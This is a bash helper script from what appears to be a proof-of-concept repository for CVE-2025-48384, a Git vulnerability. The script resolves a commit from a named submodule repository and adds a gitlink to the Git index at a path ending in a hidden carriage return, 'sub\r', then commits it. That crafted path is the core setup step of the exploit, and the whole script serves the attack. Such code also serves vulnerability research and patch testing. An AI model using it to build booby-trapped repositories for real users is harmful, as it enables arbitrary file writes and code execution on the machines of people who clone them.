Files

32 lines
1.1 KiB
Bash
Executable File

#!/usr/bin/env bash
set -euo pipefail
# Update the gitlink at literal path "sub^M" to point to a chosen commit of the submodule.
# Defaults:
# SUB_URL=https://github.com/s41r4j/CVE-2025-48384-submodule.git
# SUB_REF=main (used to resolve commit if SUB_SHA not provided)
# Usage examples:
# ./scripts/update-gitlink.sh
# SUB_REF=HEAD ./scripts/update-gitlink.sh
# SUB_SHA=<commit> ./scripts/update-gitlink.sh
SUB_URL=${SUB_URL:-https://github.com/s41r4j/CVE-2025-48384-submodule.git}
SUB_REF=${SUB_REF:-main}
if [[ -z "${SUB_SHA:-}" ]]; then
echo "Resolving commit from: ${SUB_URL} ${SUB_REF}" 1>&2
SUB_SHA=$(git ls-remote "${SUB_URL}" "${SUB_REF}" | awk '{print $1}' | head -n1)
fi
if [[ -z "${SUB_SHA}" ]]; then
echo "Failed to resolve submodule commit. Provide SUB_SHA explicitly." >&2
exit 1
fi
echo "Setting gitlink to ${SUB_SHA} at path sub^M"
GITLC=$'sub\r'
git update-index --add --cacheinfo 160000,${SUB_SHA},$GITLC
git commit -m "link: gitlink at sub^M -> ${SUB_SHA}" || echo "Nothing to commit"
echo "Verify: git ls-files -s | sed -n l | sed 's/\r/^M/g'"